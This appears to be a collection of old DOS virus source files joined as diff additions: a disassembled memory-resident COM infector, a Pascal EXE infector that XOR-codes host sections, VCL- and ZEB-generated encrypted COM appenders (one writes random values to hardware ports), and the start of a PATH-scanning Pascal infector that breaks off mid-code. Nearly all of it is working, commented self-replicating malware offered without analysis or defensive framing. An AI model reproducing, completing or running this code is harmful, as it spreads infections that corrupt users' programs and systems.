jmp l_0C47 ;-> yes ;0BC1 E9 0083
l_0BC4: xor cx,cx ;offset := 0 ;0BC4 33 C9
mov dx,cx ;0BC6 8B D1
mov ax,4200h ;move file ptr BOF+offs ;0BC8 B8 4200
mov bx,word ptr cs:[32Fh] ;file handle ;0BCB 2E: 8B 1E 032F
int 21h ;0BD0 CD 21
mov cx,4 ;4 bytes ;0BD2 B9 0004
mov bx,word ptr cs:[32Fh] ;file handle ;0BD5 2E: 8B 1E 032F
mov dx,310h ;L097B = safes ;0BDA .BA 0310
mov ah,3Fh ;read file ;0BDD B4 3F
push cs ;0BDF 0E
pop ds ;0BE0 1F
int 21h ;0BE1 CD 21
jnc l_0BE8 ;-> O.K. ;0BE3 73 03
jmp short l_0C47 ;-> ERROR ;0BE5 EB 60
nop ;0BE7 90
l_0BE8: mov ax,4202h ;file ptr EOF+of;0BE8 B8 4202
mov bx,word ptr cs:[32Fh] ;file handle ;0BEB 2E: 8B 1E 032F
xor cx,cx ;offset=0 ;0BF0 33 C9
xor dx,dx ;0BF2 33 D2
int 21h ;0BF4 CD 21
mov word ptr cs:[331h],ax ;L099C = file l.;0BF6 2E: A3 0331
cmp dx,0 ;high order word;0BFA 83 FA 00
je l_0C02 ;-> LT 64K bytes;0BFD 74 03
jmp short l_0C47 ;-> file too big;0BFF EB 46
nop ;0C01 90
l_0C02: and ah,7Fh ;??? ;0C02 80 E4 7F
cmp ax,32h ;minimum file size ;0C05 3D 0032
jg l_0C0D ;-> O.K. ;0C08 7F 03
jmp short l_0C47 ;-> too small ;0C0A EB 3B
nop ;0C0C 90
l_0C0D: mov ah,40h ;file write ;0C0D B4 40
mov bx,word ptr cs:[32Fh] ;file handle ;0C0F 2E: 8B 1E 032F
mov cx,5E9h ;virus length ;0C14 B9 05E9
push cs ;0C17 0E
pop ds ;virus segment ;0C18 1F
mov dx,100h ;virus offset ;0C19 .BA 0100
int 21h ;0C1C CD 21
mov ax,word ptr cs:[331h] ;file length ;0C1E 2E: A1 0331
add ax,54Fh ;(+3 = L0CBD) ;0C22 05 054F
mov word ptr cs:[101h],ax ;0C25 2E: A3 0101
xor cx,cx ;offset := 0 ;0C29 33 C9
xor dx,dx ;0C2B 33 D2
mov al,0 ;BOF + offset ;0C2D B0 00
mov ah,42h ;set file ptr ;0C2F B4 42
mov bx,word ptr cs:[32Fh] ;file handle ;0C31 2E: 8B 1E 032F
int 21h ;0C36 CD 21
mov cx,4 ;4 bytes ;0C38 B9 0004
mov ah,40h ;write file ;0C3B B4 40
mov bx,word ptr cs:[32Fh] ;file handle ;0C3D 2E: 8B 1E 032F
mov dx,100h ;virus start cod;0C42 .BA 0100
int 21h ;0C45 CD 21
;<- Contamination error entry
l_0C47: mov bx,word ptr cs:[32Fh] ;file handle ;0C47 2E: 8B 1E 032F
mov ah,3Eh ;close file ;0C4C B4 3E
int 21h ;0C4E CD 21
;<-- file not infectable or end of infection
l_0C50: mov byte ptr cs:[30Dh],0 ;enable destruct;0C50 2E: C6 06 030D 00
pop es ;0C56 07
pop ds ;0C57 1F
pop si ;0C58 5E
pop di ;0C59 5F
pop bp ;0C5A 5D
pop dx ;0C5B 5A
pop cx ;0C5C 59
pop bx ;0C5D 5B
pop ax ;0C5E 58
l_0C5F: jmp dword ptr cs:[304h] ;oryg. int 21h ;0C5F 2E: FF 2E 0304
;=======================================================
; Subroutine - check type of victim
;-------------------------------------------------------
s_0C64 proc near
push ax ;0C64 50
push bx ;0C65 53
mov bx,dx ;victim name offset ;0C66 8B DA
mov al,0 ;End of path char ;0C68 B0 00
l_0C6A: inc bx ;0C6A 43
cmp [bx],al ;0C6B 38 07
jne l_0C6A ;0C6D 75 FB
mov ax,4D4Fh ;'MO'- last COM letters ;0C6F B8 4D4F
cmp [bx-2],ax ;0C72 39 47 FE
je l_0C7B ;-> it's COM ;0C75 74 04
stc ;'not infectable' - ptr ;0C77 F9
jmp short l_0C7C ;0C78 EB 02
db 90h ;0C7A 90
l_0C7B: clc ;'infectable' - ptr ;0C7B F8
l_0C7C: pop bx ;0C7C 5B
pop ax ;0C7D 58
retn ;0C7E C3
s_0C64 endp
;=======================================================
; Subroutine - check if file infected
;-------------------------------------------------------
s_0C7F proc near
jmp short l_0C83 ;0C7F EB 02
nop ;0C81 90
d_0C82 db 1 ;1 char file buffer ;0C82 01
l_0C83: push ax ;0C83 50
push bx ;0C84 53
push cx ;0C85 51
push dx ;0C86 52
push es ;0C87 06
push ds ;0C88 1E
push cs ;0C89 0E
pop ds ;0C8A 1F
mov ax,4200h ;move file ptr BOF+offs ;0C8B B8 4200
mov bx,word ptr cs:[32Fh] ;file handle ;0C8E 2E: 8B 1E 032F
xor cx,cx ;0C93 33 C9
mov dx,3 ;0:3 ;0C95 BA 0003
int 21h ;0C98 CD 21
mov ah,3Fh ;read ;0C9A B4 3F
mov cx,1 ;1 byte ;0C9C B9 0001
mov bx,word ptr cs:[32Fh] ;file handle ;0C9F 2E: 8B 1E 032F
mov dx,0617h ;L_0C82 =file buffer ;0CA4 .BA 0617
int 21h ;0CA7 CD 21
cmp byte ptr cs:[617h],'J' ;infection ptr ;0CA9 2E: 80 3E 0617 4A
je l_0CB5 ;-> allready infected ;0CAF 74 04
clc ;0CB1 F8
jmp short l_0CB6 ;-> ready to infection ;0CB2 EB 02
nop ;0CB4 90
l_0CB5: stc ;<- infected ;0CB5 F9
l_0CB6: pop es ;0CB6 07
pop ds ;0CB7 1F
pop dx ;0CB8 5A
pop cx ;0CB9 59
pop bx ;0CBA 5B
pop ax ;0CBB 58
retn ;0CBC C3
s_0C7F endp
;=======================================================
; virus entry point
;-------------------------------------------------------
l_0CBD: call s_099E ;Is virus resident ? ;0CBD E8 FCDE
jnc l_0CE0 ;-> no ;0CC0 73 1E
;<- run victim
mov cx,4 ;changed bytes count ;0CC2 B9 0004
cld ;0CC5 FC
mov di,100h ;address ;0CC6 .BF 0100
call s_0CCC ;0CC9 E8 0000
;------ restore victim byte
s_0CCC proc near
pop bp ;0CCC 5D
sub bp,661h ;l_066B=virus begin-100h;0CCD 81 ED 0661
lea si,[bp+310h] ;l_097B ;0CD1 8D B6 0310
cld ;0CD5 FC
rep movsb ;0CD6 F3/ A4
push cs ;0CD8 0E
mov ax,offset start ;0CD9 .B8 0100
push ax ;0CDC 50
retn 0FFFEh ;0CDD C2 FFFE
s_0CCC endp
;<- virus not resident yet
l_0CE0: call s_0CE3 ;0CE0 E8 0000
;------ make virus resident
s_0CE3 proc near
pop bp ;0CE3 5D
sub bp,678h ;=066Bh = vir_beg-100h ;0CE4 81 ED 0678
push cs ;0CE8 0E
pop ds ;0CE9 1F
push cs ;0CEA 0E
pop es ;0CEB 07
mov di,100h ;0CEC .BF 0100
lea si,[bp+100h] ;virus code begin ;0CEF 8D B6 0100
cld ;0CF3 FC
mov cx,5E9h ;virus length ;0CF4 B9 05E9
rep movsb ;overwrite victim code ;0CF7 F3/ A4
mov ax,0693h ;= l_0CFB ;0CF9 .B8 0693
push ax ;0CFC 50
retn ;0CFD C3
s_0CE3 endp
;---------------------------------------------------------------
; Run in new place
;---------------------------------------------------------------
r_0693: MOV DX,0314h ;=l_097F (Bad command..);0CFE BA1403
MOV AH,9 ;display string ;0D01 B409
INT 21h ;0D03 CD21
PUSH CS ;0D05 0E
POP DS ;0D06 1F
MOV AX,3521h ;get int 21h ;0D07 B82135
INT 21h ;0D0A CD21
MOV cs:[0304h],BX ;= l_096F ;0D0C 2E891E0403
MOV cs:[0306h],ES ;= l_0971 ;0D11 2E8C060603
CLI ;0D16 FA
XOR AX,AX ;0D17 33C0
MOV DS,AX ;0D19 8ED8
MOV ds:[86h],CS ;int 21h segment ;0D1B 8C0E8600
MOV AX,051Bh ;= l_0B86 ;0D1F B81B05
MOV ds:[84h],AX ;int 21h offset ;0D22 A38400
STI ;0D25 FB
CALL s_09B4 ;Set infection flag ;0D26 E88BFC
CALL s_09C3 ;contamine hard disk ;0D29 E897FC
PUSH CS ;0D2C 0E
POP DS ;0D2D 1F
MOV AX,3513h ;get int 13h vector ;0D2E B81335
INT 21h ;0D31 CD21
MOV cs:[0308h],BX ;= l_0973 ;0D33 2E891E0803
MOV cs:[030Ah],ES ;= l_0975 ;0D38 2E8C060A03
MOV DX,04ECh ;= l_0B57 ;0D3D BAEC04
MOV AX,2513h ;set int 13h vector ;0D40 B81325
INT 21h ;0D43 CD21
MOV DX,06E9h ;= l_0D54 ;0D45 BAE906
MOV CL,4 ;0D48 B104
SHR DX,CL ;0D4A D3EA
ADD DX,11h ;+256bytes (+alignement);0D4C 83C211
MOV AX,3100h ;Terminate&Stay Resident;0D4F B80031
INT 21h ;0D52 CD21
seg_a ends
end start


@ -0,0 +1,161 @@
(*
Virus on Pascal.
____________________________________________________________________
This is a nontsr virus that infects *.exe files and codes the saved-
part of the file,so it can be hardly cured!
To compile,you'll need TurboPascal(I'm using v.7) and CRT.TPU and
DOS.TPU libreries!
____________________________________________________________________
(c) 1997 by Master of Infection
-------------------------------------------
*)
{$M $1024,0,0} {Get some Memory!}
uses dos,crt; {Using libraries}
const id='Queen'; {Just my FAVORITE BAND ;-) }
long=7504; {Viri's length}
mark=$5B7; {Where Queen is in Viri}
var mybuf,exebuf:array [1..long] of char; {Arrays to use}
f,ff,fff,p:file; {File handles}
s,ss,sss:searchrec; {Searchrecords}
bufm1:array [1..5] of char; {Yes,One more array}
i:word; {And al the rest Variabels...}
time,time1,time2:longint;
attr,attr1,attr2:byte;
q:string;
y,j:integer;
ee,cmdline:string;
coder,decoder:byte;
(*
You could use one proprocedure,but I'v simply desided
to practice in Typing :-)
*)
procedure decode;
begin
For y:=1 To long Do {Well,Decode all the bytes in exeBuf array}
exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e);
end;
procedure code;
begin
For y:=1 To long Do
exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e); {We are using here the 7Eh
code,to XOR all the array}
end;
procedure timecomp; {Just to show ourself}
label 1,2;
begin
writeln('(c) 1995 Queen Hitman Virus inc.!');
writeln('Ha-ha-ha,You have a virus!');
end;
procedure execute; {This is a procedure,that will execute the file,
we are in now(starting from)}
begin
findfirst(paramstr(i),anyfile,sss); {Espessially for MR.LOZINSKY!!! :- }
if sss.size long then { DON't execute the source! :-( }
begin
assign(fff,sss.name); {Get the file_name in the handle}
attr2:=sss.attr; {Save attributes...}
time2:=sss.time; {... and time of the file}
reset(fff,1); {Open it!}
seek(fff,0); {Head in 0 point}
blockread(fff,mybuf,long); {Read from it the begining}
seek(fff,sss.size-long); {Put the header in the position:File_Size-Virus_size}
blockread(fff,exebuf,long); {And read the source EXE_Header and the file begining}
seek(fff,0); {Put the Head in 0}
decode; {Decode it!!! For MR.MOSTOVOY :-}
blockwrite(fff,exebuf,long); {Save the begining}
seek(fff,sss.size-long); {Head in File_Size-Virus_size}
truncate(fff); {Delete the end of the file,so if you've infected somthin like DR.WEB it woun't shout! ;-) }
close(fff); {And close it!}
setfattr(fff,archive); {Well,you know...LMD!!!}
setftime(fff,time2);
IF ParamCount < 0 Then {NO!!! This thing Executes the file}
Begin
For I:=1 To ParamCount Do
CmdLine:=CmdLine + ' ' + ParamStr(I);
End;
swapvectors;
exec(sss.name,cmdline);
swapvectors;
reset(fff,1); {Do it in the back sequence!...}
code;
seek(fff,0);
blockwrite(fff,mybuf,long);
seek(fff,sss.size-long);
blockwrite(fff,exebuf,long);
close(fff);
setftime(fff,time2);
setfattr(fff,attr2);
end;
end;
(*
Procedure,that will INFECT the *.EXE files,in the current directory
YEAHHH...
*)
procedure infect;
label next; {Just a label}
begin
findfirst('*.exe',anyfile,ss); {Find the Victim}
while doserror=0 do {While any available}
begin
if ss.size < long+1 then goto next; {Don't infect smaller then we are!}
assign(ff,ss.name); {You already know!}
attr1:=ss.attr; {And this too...}
time1:=ss.time;
setfattr(ff,archive);
reset(ff,1);
seek(ff,mark); {Put the head in the location of "Queen" in Viri(Check if this file is already infected!)}
blockread(ff,bufm1,5); {Read the mark}
if bufm1=id then goto next; {If TRUE,Then already infected :-((( }
seek(ff,0); {NO!!! :-))) }
blockread(ff,exebuf,long); {Copy the file_begining}
code; {And code it! :-D }
seek(ff,ss.size); {Head=File_End}
blockwrite(ff,exebuf,long); {Write the file_begining}
seek(ff,0); {Head=0}
blockwrite(ff,mybuf,long); {Write Virus!!! :- }
close(ff); {And close the file}
setftime(ff,time1); {...You know...}
setfattr(ff,attr1);
next: findnext(ss); {Seek the next victim! ;-))) }
end;
end;
(*
This is where the virus starts to think about it's children ;-)
HeHehe...
*)
procedure virusbody;
label next; {Label}
begin
findfirst(paramstr(i),anyfile,s); {Executed file}
while doserror=0 do {If available?!?}
begin
assign(f,s.name); {Cach the file_name in header}
attr:=s.attr; {..You..}
time:=s.time; {..Know..}
setfattr(f,archive); {..All..}
reset(f,1); {..This..}
seek(f,mark); {Check,if it is a virus(However,here can be a ERROR under DosShell&Win'95) :-((( }
blockread(f,bufm1,5);
if bufm1=id then {Yes!!! :-)))) }
begin
seek(f,0); {Copy the Virus_Body(It's source)}
blockread(f,mybuf,long);
end;
close(f);
setfattr(f,attr);
setftime(f,time); {And BAY!!!}
next: findnext(s);
end;
end;
(*
Here's the reall beginig...
*)
begin
checkbreak:=false; {LMS,Don't press ^C,It has to be finished!!! :-))) }
virusbody; {G }
infect; { O }
execute; {..O}
timecomp; {N.}
end. {BAY!!!}

@ -0,0 +1,337 @@
; RANDOM.ASM -- Random To all Ports
; Written by The W<>z!
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
xor ah,ah ; BIOS get time function
int 01Ah
test dx,0001h ; Is timer divisible by 2?
jne no_infection ; If not then don't spread
call search_files ; Find and infect a file
no_infection:
xor ah,ah ; BIOS get time function
int 1Ah
xchg dx,ax ; AX holds low word of timer
mov dx,0FFh ; Start with port 255
out_loop: out dx,al ; OUT a value to the port
dec dx ; Do the next port
jne out_loop ; Repeat until DX = 0
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main

@ -0,0 +1,248 @@
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
decrypt_loop:
db 81h,35h ; xor word ptr [di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsw
movsb
mov byte ptr [bp+numinfec],1 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+com_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,2000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
jmp activate ; Always activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
int 21h
retn ; 100h is on stack
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
activate: ; ******************************
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D02h ; DOS open file function, r/w
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
jmp exit_virus
creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator
virusname db '[ranger]',0
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point

@ -0,0 +1,157 @@
{close but not cookie ranmas4A}
USES dos,link,attrib;
CONST vSize=8608;
VAR PATHLIST,
fileLIST: LISTtype;
TempPtr : NodePtr;
current : byte;
count : integer; {debug}
Running : string;
buffer : array[0..vSize] of byte;
header : array[0..$1A] of byte;
F : file;
vID : string[2];
procedure SuckPaths(var lister: listTYPE);
{Get paths from command environmet}
{Split string into seperate paths }
{Include running path in list }
var
ps, s: string;
ind: integer;
begin
s:= GetEnv('PATH');
ind:= pos(';', S);
GetDir(0,PS);
insertNODE(lister,ps);
if ind<0 then while ind< 0 do BEGIN
ps:= copy(S, 1, ind-1);
{debug} if (random(2)=1) then insertNODE(lister,ps);
delete(S,1,ind);
ind:= pos(';', S);
END;
end;
procedure SuckFiles(path: string; var exes:LISTtype);
{find EXE files in path given }
{return linked list }
var Fil :SearchRec;
BEGIN
{current:=0;}
IF path[ length(path) ]<'\' then path:=path+'\';
{change to *.EXE to make live}
findfirst(path+'*.222',anyfile,fil);
while DosError=0 do begin
If (pos('.',fil.name)<1) and not(boolean(fil.attr and directory)) then
begin
inc(count);
if random(20)=5 then begin {debug}
if (fil.size<$ffff) then begin
InsertNode(exes,(path+fil.name));
{ current:=1; }
end;
end; {debug}
end;
if current=1 then dosError:=18
else findnext(fil); {give "no more files" effect to exit}
end;
END;
{::Skeleton Main::}
BEGIN
randomize; count:=0; initLIST (pathLIST);
vID:='FU';
{::Get cur & PATH's dos's environment::}
SuckPaths(pathLIST); {pick about 1 out of 2 paths from the PATH envir}
{::Pick files from paths::}
TempPtr:=pathLIST.first; {pick 1 name max in every path for checking}
While ( TempPtr<nil ) do BEGIN
suckFiles(TempPtr^.info,fileLIST);
TempPtr:= TempPtr^.link;
END;
killList(pathList);
{::get buffer::}
Running:=ParamStr(0); {get name of the file currently running}
Running:=FExpand(Running);
Assign(F,running);
reset(f,1);
seek(f,0);
blockRead(f,buffer[0],vSize);
close(f);
move(vID[1],buffer[$12],2);
TempPtr:=fileLIST.first;
While ( TempPtr<nil ) do BEGIN
Assign(F,TempPtr^.info);
SetfileATTR(TempPtr^.info,'hsra',false);
Reset(f,1);
Blockread(F,header[0],$1A);
IF (Chr(header[$12])<'F') or
(Chr(header[$13])<'U') then BEGIN
TempPtr^.link:=NIL; {stop search}
seek(F,0);
